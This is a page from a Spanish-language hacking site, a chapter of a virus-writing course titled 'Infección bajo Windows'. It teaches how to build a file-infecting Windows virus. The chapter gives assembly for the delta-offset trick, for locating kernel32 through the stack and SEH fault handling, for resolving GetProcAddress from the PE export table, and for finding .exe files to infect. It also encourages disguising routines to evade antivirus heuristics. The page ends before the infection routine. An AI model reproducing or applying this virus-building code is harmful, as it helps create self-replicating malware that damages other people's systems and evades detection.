Black Hole organizacion
CostaRica  
  Bienvenida
  Hackers
  Foro ingresa
  Noticias
  Contacto
  Imagenes
  Programas
  Visitantes
  Chat
  Libros
  => hacker
  => Virus
  => Cracker
  => Lecciones hackin
  => Programacion
  => Diseños web
  => Guia de hackin
  => Privasidad
  => Guia → 1
  => Guia → 2
  => Guia → 3
  => Guia → 4
  => Guia → 5
  => Guia → 6
  => Guia → 7
  => Guia → 8
  => Guia → 9
  => Guia → 10
  => Guia → 11
  => Como intrudusirse aun sistema
  => shellcodes_linux-1
  => shellcodes_linux -2
  => UN-scodes.
  => Guia version Deluxe
  => Ser Hacker dentro de Términos Legales
  => Como hackear una paginaweb
  => Comoprogramar un Virus
  => Como Crear un Virus
  => Cuantos tipos de Virus existen
  => Programaciones de un virus
  => Estructura de computadores
  => Fundamentos de SSOO
  => Sistemas de numeración
  => Ensamblador I: Conceptos básicos
  => Ensamblador II
  => Utilidades para la programación
  => Infección bajo Windows
  => Infección bajo Linux
  => Técnicas avanzadas
  => Apéndices
  => CONOCIENDO LA MAQUINA
  => DIRECCIONAMIENTO DE MEMORIA EN EL 8086
  => CHIPS DE APOYO (Ampliación de la lección 1)
  => LA PILA DEL 8086
  => CODIFICACIÓN DE LAS INSTRUCCIONES EN EL 8086
  => Manual HTML
  => Ataques basados en Desbordamiento de Buffer (Buffer Overflow)
  => Privasidad
  => Escaneo
  => anti Escaneo y Escaneo
  => Malianom
  Triang
  Tersirve esta paguina?
  -
  juegos
  Vagos
  mapa
  Mapa del sitio
  546
Infección bajo Windows

Atras


 

7.0.0.- Disclaimer

Lo primero que debo hacer (qué remedio) es escribir uno de estos tediosos disclaimer. Sí, que no me hago responsable de lo que hagáis con la información que viene a continuación porque se puede infectar el sistema operativo Windows con ella... aunque la verdad es que es algo estúpido esto de los disclaimers, ¿quién se creería que me iba a hacer responsable de lo que hagáis con cosas que yo cuente? Oye el caso es que estaría currado, algo como "me hago responsable de todo lo que hagáis en pasado, presente y futuro en el campo de los virus informáticos"... sería como un favor de un colega o algo así. Pero bueno, me temo que jurídicamente no me dejarían hacerme responsable de todos vuestros actos y enseñar un disclaimer así ante el juez diciendo "si mire usted, es que este señor se hacía responsable", no debe de valer de mucho.

Así que en fin, no me hago responsable de lo que hagáis con todo esto. Aunque algo me dice que si habéis llegado hasta aquí y os habéis tragado seis entregas, que si ensamblador por aquí, que si sistemas operativos por allá, vuestra intención debe tener poco que ver con utilizar virus con "malos fines" e infectar a gente con ellos. Si pensáseis en "Ai wanna infekt da world" pues a estas alturas estaríais aburridos y habríais escrito un virus en Visual Basic Script o en Macro de Word, que al fin y al cabo se aprende en media hora y sirve para lo mismo si esas son tus intenciones. En fin, me veo entonces tranquilo, porque total si ibais a ser malos pues lo ibais a ser sin tener que tragaros estos tochos xD; sólo repetir aquella advertencia, que a octubre del 2001 la legislación española te dice que si "modificas archivos de otros sin su consentimiento" te pueden caer hasta tres años... así que señores, seriedad, que no hace falta infectar a nadie más que a nosotros mismos, y la gracia de escribir virus no está precisamente en eso.

Iba a hacer un símil sobre que estaría bien pensar que esto es como hacer sexo con tu PC y que no deberíamos dejar que nuestros hijos vayan infectando ordenadores por ahí, pero me temo que algo como eso sólo haría pensar al lector que quien esto escribe estuvo encerrado en su habitación masturbándose de forma compulsiva hasta que llegada cierta edad se dio cuenta de que podía hacerlo con un ordenador... y la verdad que no, no es una impresión positiva ni mucho menos agradable así que dejemos los símiles de lado.

En fin, después de esta introducción tipo tio-tu-que-te-has-tomao, y con la gracieta de que a mi viejo le acaba de petar un par de cosas uno de esos gusanos cutres hechos en Visual Basic ( el llamado "efecto oficina", digo yo si alguna vez la gente aprenderá a no ejecutar todo lo que le llega porque 'el antivirus de la oficina no ha pitado y encima me lo traigo pa casa pa ver otra vez la txorrada' ), pues vamos a cosas más serias y a hablar sobre infección bajo entornos Windows. Y ojo, que éste es de momento (y creo que mantendrá la marca), el capítulo más largo de todo el curso.

Un último detalle; las secciones 7.1 (Programación básica en virus bajo Windows) y 7.2 (Infección de ficheros PE) son las realmente importantes. La sección 7.3 (Residencia Per-Process), cubre un tema más avanzado que uno puede decidir o no utilizar (del que doy pistas pero no código completo, creo que es algo que resulta interesante que cada uno busque),... no recomendaría de todas formas lanzarse a saco con ello si aún no se ha conseguido infectar con éxito ejecutables.

 

 

7.1.- Programación básica en virus bajo Windows

 

7.1.1.- Introducción

Bueno, aviso que esta entrega va a dar mucha cañita... reescribo este apartado de introducción cuando aún no he acabado el apartado 7.1.3, y ya me doy cuenta de que estoy metiendo una cantidad de conceptos bestial en un sólo tutorial; pero yo ya lo avisé eh . Primero empezamos con una descripción de lo que es el Delta Offset (necesario para cualquier SO), luego con cómo sacar las funciones de la API de Windows, y de ahí al infinito y más allá xD. La parte de infección en sí, no obstante, tiene el apartado 7.2 para ella solita.

 

 

7.1.2.- El "Delta Offset"

El Delta Offset no es una técnica que vayamos a necesitar sólo bajo Windows, sino en general con cualquier entorno en el que queramos programar un virus. Surge debido a cierto problema al que es la solución más sencilla.

Cuando uno coge tan feliz y compila su programa en ensamblador todo va con suerte perfecto, sí, pero... cuando en nuestro código hacemos una referencia a una etiqueta para coger datos, como mov eax,[datos], pues en la primera generación va bien, ¿por qué? Pues porque "datos" se codifica como por ejemplo 0401444h, con lo que cuando accedemos a [datos] en realidad lo que hay codificado al compilarlo es mov eax,[0401444h]. Esto, se debe a que el programa va a ser cargado en una determinada región de memoria (una común es 0400000h), con lo que el compilador que genera el ejecutable presupone que el lugar "datos" siempre va a estar en el mismo sitio.

Eso sería cierto, de no ser porque si infectamos un archivo vamos a estar en un desplazamiento diferente, con lo que si se repite ese "mov eax,[datos]", en la dirección 0401444h puede haber cualquier cosa. Incluso aunque también se hubiera iniciado el programa infectado en la dirección 0400000h, nuestro "datos" podría estar en cualquier lado, por ejemplo 0409123h. Ahí tenemos el problema, que acceder a datos (porque esto sólo sucede con datos que referenciamos con etiquetas pero NO con saltos tipo JMP o condicionales, o CALLs) se nos hace un poquito difícil así, y si símplemente dejamos el "mov eax,[datos]" pues el virus va a reventar en cuanto infecte su primer archivo.

Ahora bien, como digo existe una solución bastante sencilla, aunque nos va a dejar ocupado uno de los registros de forma permanente, que es esta técnica del Delta Offset. La base, es averiguar el desplazamiento relativo al inicio del virus respecto al desplazamiento en el fichero original, y sumarlo siempre que se haga una referencia a datos dentro del propio virus. Sí, suena muy complicado así que pongamos código:

	call Delta Delta: 	pop ebp 	sub ebp,Offset Delta  

Tan sencillo como eso. Cuando hacemos un call al offset Delta, lo que estamos haciendo en realidad es guardar en la pila el valor de ese offset; es decir, que si Delta estuviera en 0401003h, el pop ebp daría ese valor el registro ebp. Así, en la primera generación del virus (es decir, recién compilado), su valor será ebp = 0. Que por cierto, este inicio típico es una forma perfecta para detectar la mitad de los virus que hay para Windows sin más herramienta que el Turbo Debugger (si las primeras líneas hacen algo equivalente a esto, malo malo).

Ahora, supongamos que hemos infectado un archivo y que por tanto en él lo primero que se ejecuta son las tres líneas de código introducidas anteriormente. Pues bien el valor de ebp ahora va a ser el de (Delta actual - 0401003h). Esto, indica la diferencia que hay positiva o negativa entre el lugar de una posición de memoria al principio (cuando Delta era 401003h) y ahora. Es decir, si ahora Delta estuviera en 0401013h, ebp valdrá 10h (y esto será válido sea cual sea el valor actual de Delta, pues la órden (sub ebp, Offset Delta) ya tiene codificado Delta = 0401003h en el compilado original).

Por tanto, para acceder a cualquier dato referenciado por una etiqueta dentro de nuestro código, en lugar de hacer un mov eax,[valor], haremos un mov eax,[valor+ebp] lo cual corregirá ese movimiento de dirección base dejándonos pues que el virus funcione sin problemas se cargue donde se cargue.

Evidentemente, ni es necesario hacerlo en ebp ni exáctamente de esta forma; si bien parte de la creatividad de un escritor de virus se encuentra en desarrollar nuevas técnicas de infección o agujeros en sistemas operativos, quizá la más importante es la de jugar con el código ensamblador a su gusto. En este ejemplo, las líneas de código que he puesto serán detectadas por la mayoría de los engines heurísticos de antivirus como "posible virus", puesto que los programas normales no hacen eso. Una inmensa parte de la creatividad por tanto al programar un autorreplicante consiste en montarte tus propias maneras de escribir rutinas de formas extrañas o poco reconocibles, o símplemente variadas para que no sean reconocidas al instante por un antivirus.

Para acabar este extenso apartado dedicado al Delta Offset, pongamos un ejemplo distinto de cómo hacerlo; eso sí, esta vez no explicaré cómo funciona, esto lo dejo como ejercicio mental ...

	call Delta Delta: 	mov esi,esp 	lodsd 	add dword ptr ss:[esi], (Continuar - Get_Delta)     sub eax,offset Real_start 	ret  <datos y demás>  Continuar: 	mov	ebp,eax	     ; Sí, el Delta Offset estaba en eax   <más código>   	

 

7.1.3.- El problema de las APIs

Llamar a la API del sistema, que invariablemente vamos a tener que utilizar, no es tan sencillo en un sistema como Windows como lo es en Linux y Ms-Dos. En estos dos últimos basta con una llamada a una interrupción, pero en Windows la cosa se pone difícil. Como recordaréis en el capítulo V cuando hablamos sobre API en distintos SO (este es un buen momento para mirarlo otra vez), bajo sistemas Win32 la forma de llamar a las funciones de sistema es empujando los parámetros y llamando a una dirección de memoria. Es decir, que normalmente la llamarías con algo como esto:

 extrn MessageBoxA: proc  Inicio:         push    MB_ICONEXCLAMATION         push    offset Titulo         push    offset Texto         push    NULL         call    MessageBoxA  Titulo: db 'Titulo de la ventana',0 Texto: db 'Contenido de la ventana',0 

Es decir, que para hacer la llamada vamos a tener que empujar una serie de valores en la pila (en este caso el icono de la ventana, offset del título y el texto y un valor NULL que indica el tipo de botones que va a tener, en este caso sólo uno de "aceptar") y luego hacer un call a "MessageBoxA", es decir, a la función de la API encargada de imprimir el texto.

Sin embargo, quizá os habréis dado cuenta de que a nosotros este sistema no nos va a servir, por el mismo motivo por el que necesitábamos el Delta Offset. ¿Cómo funciona el tema de las API en Windows? Bien, nosotros programamos algo como esto, y al compilarse en el ejecutable hay una "tabla de importaciones" que indica qué funciones y de qué DLLs se van a utilizar. Efectivamente, las funciones a las que llamemos, que si MessageBoxA, que si ExitProcess, que si CreateFileA, todas se importan de DLLs de Windows; precisamente, es que la utilidad de las DLLs es la de proporcionar estas APIs a programas que lo soliciten.

La mayor parte de las APIs que vamos a utilizar se encuentran en un sólo fichero, que encontraréis en vuestro directorio C:WindowsSystem. Este fichero, se llama Kernel32.DLL y contiene la mayor parte de funciones referentes a funciones I/O como acceso a ficheros, directorios, etc; de hecho, es bastante probable que nos sobre con esta librería de cara a escribir un virus para Windows.

Así pues, la librería Kernel32.DLL cuando es importada por un ejecutable suele cargarse en una dirección por defecto. La común en un Windows95 o 98 es la dirección 0BFF70000h (no se si pongo una F de más o de menos xD), aunque dependiendo de la versión de Windows esto puede variar. También, la dirección de cada función va a variar, según versiones del propio Windows (ya se sabe, como tienen tantos bugs de vez en cuando sacan revisiones de sus versiones, y si esas nuevas versiones tienen un Kernel32.DLL de distinto tamaño la dirección de la función será distinta).

El caso es que NO podemos asegurar que por ejemplo la dirección de MessageBoxA va a estar siempre en el mismo sitio; es bastante probable que si llamáramos a MessageBoxA por su dirección física, en cuanto el virus esté en un ordenador diferente de un error de esos realmente horribles.

Existe una función de Kernel32 llamada GetProcAddress que nos va a decir cuál es la dirección física de la función que buscamos. De hecho, a esta función se le llama así:

 
FARPROC GetProcAddress ( HMODULE hModule, // handle to DLL module LPCSTR lpProcName // name of function ); 

Sé que cada vez que hablo hago que suene más complicado O:), pero vamos a joderla un poquito más. Los parámetros (esto lo acabo de cortar/pegar del fichero Win32.hlp, que os aconsejo que busquéis por Internet o en el SDK de Microsoft, puesto que describe la mayoría de las funciones importantes) son dos; un puntero (eso que pone lpProcName) a un nombre de una función de la que queremos obtener su dirección, y un handler, "hModule", que se refiere a la propia DLL.

Ahora la pregunta es, ¿qué coño es ese handler? Es decir, vale, yo empujo a la pila un puntero a "MessageBoxA", pero, ¿qué uso como handler?. Pues bien, el handler es el resultado de otra API, GetModuleHandle, que vemos a continuación:

 
HMODULE GetModuleHandle( LPCTSTR lpModuleName // address of module    name to return handle for );

Así pues, para poder obtener el handler que hay que utilizar en GetProcAddress, tendremos que llamar a GetModuleHandle pasándole como parámetro un puntero a una cadena de texto en la que ponga "db 'KERNEL32.DLL',0".

Pero algunos se habrán dado cuenta ya de que aquí hay algo que falla y que esto es un poco como lo de qué fue primero, si el huevo o la gallina. Antes he dicho que el motivo para usar GetProcAddress es que las direcciones varían según subversiones de Windows; sin embargo, GetModuleHandle es una API que también pertenece a Kernel32.DLL. ¿Entonces? ¿Qué pasa, que estamos como al principio? Pues en cierto modo sí, y en cierto modo no.

Está claro que estamos en un círculo cerrado en el que no hay dios que obtenga la dirección de una API. Pero como el Laberinto siempre te da una oportunidad (Haplo rulez, yo me entiendo xD), efectivamente hay no sólo una sino más de una formas de obtener estas direcciones de funciones de la API. La más evolucionada y que ahora se utiliza más es algo compleja, pero al tiempo hermosa , y creo que es la que debo explicar.

 

 

 

1.1.4.- Obteniendo las APIs

Bien, ya me he pasado un apartado entero exponiendo problemas, ahora vamos a hablar de soluciones. Lo primero que podemos saber, es que el Handler que hay que meterle a GetProcAddress para que nos diga direcciones de funciones resulta ser exáctamente la dirección base a partir de la cual está cargada en memoria la librería Kernel32.DLL. Dado que en Windows 95 y 98 va a ser con toda probabilidad la misma, esa 0BFF70000h, la solución más sencilla y que se ha estado utilizando un buen tiempo, es tan sencilla como hacer:

lea eax, [NombreFuncion+ebp] push eax push 0BFF70000h call GetProcAddress

Pero no, esta no es una gran solución (seguimos sin tener la dirección de GetProcAddress, ¿verdad?). Bueno, pues entonces la aproximación como digo "vieja" es buscar dentro del código de Kernel32.DLL (que al fin y al cabo está en 0BFF70000h) la dirección física de GetProcAddress. Luego explicaré un poco cómo encontrarlo (puesto que la DLL es un ejecutable de Windows normal, y está en memoria completo), pero de momento la aproximación de coger 0BFF70000h como standard no es buena puesto que puede variar.

Ahora pensemos un poco "hacia atrás". Cuando nuestro virus se ejecute, esto es resultado de que se está ejecutando un fichero. ¿Y qué función de la API de Windows hace que se ejecute un fichero? Pues una que se llama CreateProcess. Coño, si CreateProcess está en Kernel32.DLL, que cosas, ¿verdad?. Pues justo, por ahí vamos a hacernos a la idea de dónde está el Kernel32.DLL independientemente de dónde estemos. Pensad que para ejecutar CreateProcess el código de Windows hace algo como esto:

<empujo guarrerías> call Kernel32.CreateProcess

Hmmmm sí, fijaos que es un call como los que nosotros usamos. Y por unas casualidades de la vida, el último call que llama al programa ejecutable, se está haciendo desde Kernel32.DLL. Un call lo que hace es empujar a la pila el valor del registro EIP actual, ¿verdad?. Y además, como nuestro virus es lo primero que se ejecuta al arrancar un programa... ¿os imáginais donde se encuentra la dirección de retorno de ese último CALL? Voilá, precisamente en ss:[esp+8h], casi justo en la pila (los dos primeros valores son puntero a argumentos pasados al programa y nombre del programa),... así de majos que son los del Windows que nos lo dejan a tiro xD.

Vale, el valor que encontramos ahí no va a ser exáctamente el valor que estamos buscando, la dirección base sobre la que se ha cargado Kernel32.DLL y que nos daría el GetModuleHandle. Sin embargo y dado que Kernel32.DLL es un ejecutable como cualquier otro, sabemos que tiene una cabecera de ejecutable; esto significa por tanto que al principio tiene que haber una cadena de texto "MZ" que indique el principio del ejecutable (como nota histórica, se dice que estas iniciales, también presentes en ejecutables de Ms-Dos, se deben a que el autor del formato EXE era un programador llamado Mark Ziblowsky).

En fin, que en caso de que estéis en un Windows 95 o 98 lo más probable es que la dirección ahí encontrada sea algo tipo 0BFF9A173h, por poner un ejemplo (esta dirección ejemplo es 0BFF70000h + 2A173h, sería que la función CreateProcess se encuentra en esa dirección).

En cualquier caso, tener algo como 0BFF9A173h es mucho mejor que no tener nada si tu virus no sabe si está en Win95, en NT o en qué otro de tantos sistemas Windows. Pero eso sí, ¿cómo cohone sacamos ahora de algo como eso la dirección base de la DLL?. Pues bien, el método más práctico es, si tenemos en EAX ese valor, hacer un bucle como este:

and eax,0FFFF0000h Bucle: sub eax,10000h cmp word ptr [eax],'MZ' jnz Bucle 

¿Qué estamos haciendo con esto? Bien, lo primero es cargarnos las tres últimas cifras del numerajo que nos han dado, así en nuestro ejemplo tendríamos 0BFF90000h. Así, le restamos 10000h y buscamos 'MZ'. Si estamos en Win95/98 no será así, con lo que el jnz Bucle actúa y volvemos. Ahora, sub eax,10000h lo convierte en eax = 0BFF70000h. Y efectivamente, ahí está el MZ y tenemos la dirección base del Kernel32.DLL.

Bueno, se me ha olvidado un pequeño problemilla por el que nos puede petar también, pero es que las cosas una a una xD. Resulta que como dijimos en el primer o segundo capítulo de este curso de virus, Windows, como todo sistema operativo más o menos "actual", funciona por páginas de memoria de un determinado tamaño, de las que a algunas tenemos acceso de escritura y/o lectura, y algunas no. ¿Cuál es el problema? Que si accedemos a una página de memoria a la que no tenemos permisos de lectura, el Windows se nos va a cabrear y nos dirá MEEEEEEEEEEEC!!!!!!!!! MAAAAAAAAAAAAAAAAAL!!!!!!!, el programa se va a parar y va a cantar un poquito que hay un virus y tal xD.

Ahora, para solucionar esto (joder la verdad es que estoy metiendo cañita en esta entrega, ¿eh? x)) tenemos que pensar, ¿qué pasa cuando el Windows se cabrea y dice que muy mal porque has intentado leer desde donde no tenías permiso? Pues que se genera lo que se llama una excepción de fallo de página. Una excepción, si recordáis, es una especie de interrupción a la que llama el sistema operativo cuando pasa algo raro; por ejemplo, existe la excepción de división por cero, la de fallo de página y otras cuantas.

Por tanto, y dado que Windows nos lo deja fácil puesto que podemos tocar las rutinas de manejo de excepciones, pues nosotros mismos podemos solucionar este problema. Para ello, toquetearemos una estructura llamada Structured Exception Handler (SEH). Y como sigo pensando que nada como un poco de código, veamos este:

 

SEH: xor edi,edi   ; edi = 0 push dword ptr fs:[edi] mov fs:[edi],offset SEH_Handler  mov eax,dword ptr ds:[esp+8] and eax,0FFFF0000h Bucle: sub eax,10000h cmp word ptr [eax],'MZ' jnz Bucle  <codigo a sako>  SEH_Handler:  mov     esp,dword ptr ds:[esp+8]     ; Restaurar pila jmp     Bucle  


Ay la ostia pero que es todo esooooooo vale ahí vamos. Del SEH, Structured Exception Handler, nos va a interesar un puntero que se encuentra en la dirección de memoria fs:[0]. Para ello hacemos edi = 0, y empujamos a la pila el valor que hay en fs:[edi], o sea, en fs:[0]. Luego, colocamos en fs:[0] el offset de nuestro handler, con lo que a partir de ahora cada vez que se produzca una excepción de esas que nos joden, pues el control pase a la rutina "SEH_Handler". El único modo de que se produzca una excepción es, como he dicho, que accedamos a una página de sólo lectura, lo cual sólo puede pasar cuando ejecutamos la instrucción "cmp word ptr [eax],'MZ'". Lógicamente y dado que para Kernel32.DLL tenemos permiso de lectura, si peta es que no estamos en él con lo que lo mejor es que sigamos restando 10000h y mirando de nuevo si coincide el MZ. Por eso, la rutina de SEH_Handler consiste primero en restaurar la pila como estaba antes (acción tipo aqui-no-ha-pasao-ná), y de nuevo saltar al Bucle para que siga haciendo sus cosillas.

Por supuesto, después de hacer esto tendremos que restaurar el SEH original y esas cosas; no tendremos más que popearlo a fs:[0] de nuevo. Por cierto, hay una forma más elegante de hacer todo esto con un call que deja en [esp] la rutina del SEH_Handler pero he preferido que se entienda antes de optimizar y tal. Cosa vuestra sacarla .

 

En fin, que después de toda esta movida ya tenemos la dirección base de Kernel32.DLL. Vale, ha sido un esfuerzo bastante grande pero merece la pena y ahí la tenemos con nosotros. La única pena es que ni siquiera acabamos de empezar, puesto que todavía nos queda encontrar la dirección física de GetProcAddress. Pero aunque no os lo creáis, lo que queda es sencillo con una buena referencia a mano como el libro de Matt Pietrek (Windows Programming Secrets) que recomiendo a todo el que se quiera meter a sako en virus para Windows... el tío es el amo xDDD, es un texto a bajo nivel sobre Windows que habla desde procesos a formato de ficheros a... yoquesé... por cierto que es raro de encontrar y creo que ya no se imprime, pero al menos la parte de formato ejecutable de Windows (un capítulo entero) está circulando gratis por Internet así que buscando por Matt Pietrek y el título del capítulo (The Portable Executable and COFF OBJ Formats), lo encontráis fijo. Me parece que voy a poner hasta una mini-bibliografía al final de este capítulo, porque documentación para Windows si bien es escasa la que hay es como oro en paño...

Bueno, mis comentarios de pelotilleo barato a Matt Pietrek os han dejado descansar unos segundos valiosos para tomar aire, pero ahora, formato PE en mano (PE, Portable Ejecutable, exes de Windows), vamos a ver de donde sacamos ese maldito GetProcAddress que tanto nos está costando ya que al menos sabemos que handler pasarle.

 

Vale, pues empezamos explicando una cosa graciosa sobre los ficheros PE en Windows. Para empezar, su cabecera "básica" es la misma que la de un EXE de Ms-Dos, ¿por qué? Pues por compatibilidad hacia atrás. Así si ejecutas en Ms-Dos un fichero de Win32, te saldrá el mensaje de "Que no, que no tienes Windows". La parte que imprime eso se llama "Dos Stub", y como Windows está muy optimizado, cuando carga una DLL o un ejecutable en memoria no se olvida de cargar también este Dos Stub aunque no sirva para nada.

El caso es que como vimos antes, un PE empieza por la cadena MZ, la de los antiguos ejecutables. Lo interesante es que cuando se trata de un PE, en el offset 03eh respecto al principio de la cabecera PE tiene una RVA al inicio de la cabecera PE real. Jejeje, si, una "RVA". Ale, otro término a explicar: RVA significa Relative Virtual Address, o sea, que es una dirección relativa respecto al principio del programa. En pocas palabras, que si la base del Kernel32.DLL era 0BFF70000h y una RVA dentro de él dice "1111h", lo que tendremos que hacer será sumar esa dirección base y la RVA, haciendo 0BFF71111h en este caso.

Así pues, en el offset 03ch tenemos la RVA a la cabecera PE, en este caso del Kernel32.DLL dado que estabamos buscando la dirección de la dirección virtual de GetProcAddress. El inicio de la cabecera PE (podemos comprobarlo pero no hace falta, Kernel32.DLL fijo que es un fichero PE ) está formado por las letras PE y dos bytes a cero (PE). A partir de aquí, es desde donde vamos a encontrar la dirección que tanto ansiamos.

No voy a explicar - de momento porque no os libráis - como está organizado un PE. De momento, lo que necesitáis saber, es que en el inicio de la cabecera PE+78h tenemos justo la RVA de la sección de exportaciones del fichero PE. ¿Que para qué queremos la sección de exportaciones? Pues porque allí hay una lista muy maja de las funciones que exporta Kernel32.DLL, entre las cuáles está GetProcAddress. Así que cogemos lo que hay en PE+78h y como es una RVA pues se lo sumamos a la dirección base del kernel, con lo que guay, ya tenemos acceso a la tabla de exportaciones.

¿Lo siguiente? Pues bueno, vamos a llamar .edata al lugar al que apuntaba esta RVA. Además la sección de exportaciones se llama .edata siempre así que queda mejor de esa forma. Pues bien, en [.edata+20h] tenemos otra RVA (y van...) que esta vez es lo que llamamos el "AddressOfNames", que es una lista de RVAs, cada una al nombre de una API. Por supuesto, a cada RVA hay que sumarle la dirección base del Kernel32.DLL...

Veamos lo que hemos estado haciendo con un dibujo, que se entenderá mucho mejor:

O sea, que con la RVA en MZ+3ch hemos visto un sitio en el que en 78h tenemos otra RVA, esta vez a la tabla de exportaciones, y su AddressOfNames nos lleva a otra lista de RVAs de las cuales cada una apunta a un nombre. Bien, ahora resulta fácil pensar lo que tenemos que hacer, ¿verdad?. Tenemos que coger esa lista de RVAs y comprobar los nombres hasta que demos con uno que sea "GetProcAddress". La cosa es algo más complicada y vamos a tener que tirar de AddressOfOrdinals y AddressOfFunctions, pero de momento no vamos mal con esto.

Así pues, lo indicado en el dibujo unido a la comparación de los nombres se puede hacer en un listado ensamblador como el siguiente:

; EDI tiene la dirección a MZ, o sea, a la base de kernel32.dll  mov eax, dword ptr ds:[edi+03ch] add eax, edi  ; añadimos edi por lo de la RVA, recordemos  mov esi, dword ptr ds:[esi+078h] add esi, edi  ; ahora ya tenemos la sección de exportaciones  mov edx, dword ptr ds:[esi+020h] xor ecx, ecx Bucle: mov eax, dword ptr ds:[edx] add eax, edi cmp dword ptr ds:[eax],'PteG' jnz NoLoEs cmp dword ptr ds:[eax+4h],'Acor' jnz NoLoEs cmp dword ptr ds:[eax+8h],'erdd' jnz NoLoEs jmp Cojonudo  ; Llegamos a NoLoEs si el nombre no coincide  NoLoEs: add edx,4h ; para apuntar al siguiente RVA de la lista inc ecx jmp Bucle  Cojonudo: <continuamos el codigo>   

Evidentemente hay formas bastante menos bestias de hacerlo que ésta, y recomiendo al programador buscarla... y ahora, llega la parte divertida, ¿pa que coño vale esto si yo ya me sabia el nombre? Vale lo he encontrao soy la ostia pero esto no me vale pa ná. Pues sí, si que vale; si miráis el código de antes hay algo que no sabréis a qué viene, y es la modificación sobre ECX... que se incrementa cada vez que fallamos. ¿Por qué lo estamos incrementando? Ah amigo, ahí está la madre del cordero.

¿Os acordáis de eso llamado AddressOfNameOrdinals? Bueno, voy a explicar ahora al completo cómo se saca la dirección de función de la API, de cualquier función. Hay que averiguar primero el número la de veces que hemos tenido que recorrer las direcciones de nombres, y ese número confrontado con el AddressOfOrdinals nos va a dar otro bonito número. Cogemos el valor en ECX, lo multiplicamos por dos (rol ecx,1), cogemos la RVA llamada "AddressOfNameOrdinals" que está en [.edata+24h] y lo sumamos todo. O sea, todo no, sumamos la RVA del AddressOfNameOrdinals + base del kernel + ecx*2. En esa dirección vamos a obtener un número, que es el Ordinal de la función, de tamaño Word.

Ahora sí, cogemos la RVA que apunta a AddressOfFunctions que está en [.edata + 1Ch], le sumamos la base del kernel y el número que hemos cogido multiplicado por cuatro (rol reg,2), y justo ahí, está la RVA a la función GetProcAddress. O sea, en código tenemos algo como esto:

 

; Tenemos en ECX el numero de desplazamientos del bloque de antes.  rol     ecx,1h mov     edx,dword ptr ds:[esi+24h] ;AddressOfNameOrdinals add     edx,edi  ; edi = base del kernel add     edx,ecx movzx	ecx,dword ptr ds:[edx]  mov     edx,dword ptr ds:[esi+01ch] add     edx,edi rol     ecx,2h  ; * 4 add     edx,ecx mov		eax,dword ptr ds:[edx] add     eax,edi ; Ajustamos a la base kernel 

Con estas líneas de código, tenemos ya el GetProcAddress, con lo que vamos a poder sacar llamando con CALL a esa función, las direcciones del resto de las funciones de Kernel32.DLL que vamos a necesitar. Os aconsejo que os montéis un bucle que tenga en cuenta el número de funciones que queréis extraer y vaya llamando recursivamente a GetProcAddress de una forma como esta:

 

; Tenemos en ECX el numero de desplazamientos del bloque de antes.  mov		dword ptr ds:[GPAddress+ebp],eax  push	offset direccion + ebp ; direccion del nombre de la función push	edi	; La dirección del kernel call	GetProcAddress GPAddress equ $-4  <codigo>  direccion: db 'FuncionQueQuiero',0  ; el ,0 es importante  

Como veis, para llamar a GetProcAddress tenéis que empujar la dirección donde tenéis en vuestro virus cada nombre de la API, luego la dirección base del kernel32.dll y llamar. Ah, se me olvidaba, como veréis con la dirección de la función GetProcAddress lo que hago es moverla a [GPAddress+ebp]. La razón en sencilla, así el resultado se rellena en el call y se puede hacer la llamada a la dirección que acabamos de extraer.

 

Un último apunte antes de acabar esta sección, es algo que yo me pregunté cuando lo vi y me imagino que vosotros igual... ¿para qué tener un array, o sea, una lista de RVAs de nombres de función, luego una lista de ordinales para relacionar el órden en que están en esa lista con un ordinal y finalmente una lista por número ordinal para acceder a la función? O sea, ¿para qué tres listas cuando podría haberse hecho una sóla con por ejemplo bloques de dos campos que contuvieran la dirección de la función y otro la RVA al nombre de la API?

Evidentemente una solución como la segunda sería más optimizada y más cómoda para el programador, ¿por qué liar las cosas tanto de una forma tan absurda? Pues la respuesta es simple... ¿se os ha olvidado que estamos en Windows?. Windows es así de inútil, así de absurdo... y a quien no le convenzan mis argumentos puede buscar en Internet un fichero llamado dancemonkeyboy.mpg cuyo protagonista es Steve Balmer, presidente de Microsoft.

Y eso que no os cuento cómo se guarda la fecha en los ficheros, que entonces si que ibais a pensar que estos tíos programan de tripi... para el que tenga curiosidad que se mire la estructura FILETIME en Windows (en el famoso Win32.hlp que necesitaréis viene), eso sí, recomendado fumarte unos canutos y mirarlo con algún colega programador y aprovechar así el "momento risas", sobre todo si a partir de eso intentáis hacer código para averiguar cual es la fecha del archivo xDDDDD. Será todo lo Universal Time de Supadre que quieras pero... xDDD

Pero bueno dejemos de meternos con Windows, que es tiempo de buscar ficheros para infectar y además acabo de descubrir una nueva gran funcionalidad dada la maravillosa integración de IExplorer y Windoze, que es que puedes marcar favoritos en tu papelera de reciclaje ^^

 

 

 

1.1.5.- A la labor: buscando ficheros

Esto va a ser bastante más simple que todo lo que hemos hecho anteriormente, y nos servirá como un descanso después de esto; las funciones para buscar ficheros son, por suerte, bastante sencillas. Lo único que vamos a tener que indicarle a estas dos funciones, FindFirstFileA y FindNextFileA, es un offset con la máscara del tipo de archivo a buscar. Lo más típico, será que utilicemos algo como '*.exe' para ir buscando los ejecutables del directorio actual.

La cosa es sencilla; una vez que hagamos un FindFirst, usaremos el resto de las veces FindNext hasta que no encontremos nada más (que nos será indicado en lo que nos devuelva en EAX la función). Descripción de las funciones y código:

 
HANDLE FindFirstFile( LPCTSTR lpFileName, // address of name of file to search  for LPWIN32_FIND_DATA lpFindFileData // address of returned information ); 

El primer parámetro es sencillo, es un puntero al nombre del fichero; el segundo, es un puntero a una estructura interna que tenéis que tener en vuestro programa, un bloque de tamaño SIZE WIN32_FIND_DATA bytes, y con el siguiente formato para acceder a los datos que nos devuelve la llamada:

 
WIN32_FIND_DATA STRUC WFD_dwFileAttributes DD ? WFD_ftCreationTime FILETIME ? WFD_ftLastAccessTime FILETIME ? WFD_ftLastWriteTime FILETIME ? WFD_nFileSizeHigh DD ? WFD_nFileSizeLow DD ? WFD_dwReserved0 DD ? WFD_dwReserved1 DD ? WFD_szFileName DB MAX_PATH DUP (?) WFD_szAlternateFileName DB 13 DUP (?) DB 3 DUP (?) ; dword padding  WIN32_FIND_DATA ENDS  FILETIME STRUC FT_dwLowDateTime DD ? FT_dwHighDateTime DD ? FILETIME ENDS

Por cierto, que esto puede meterse en un include . Aquí código, escrito de forma sencillita:

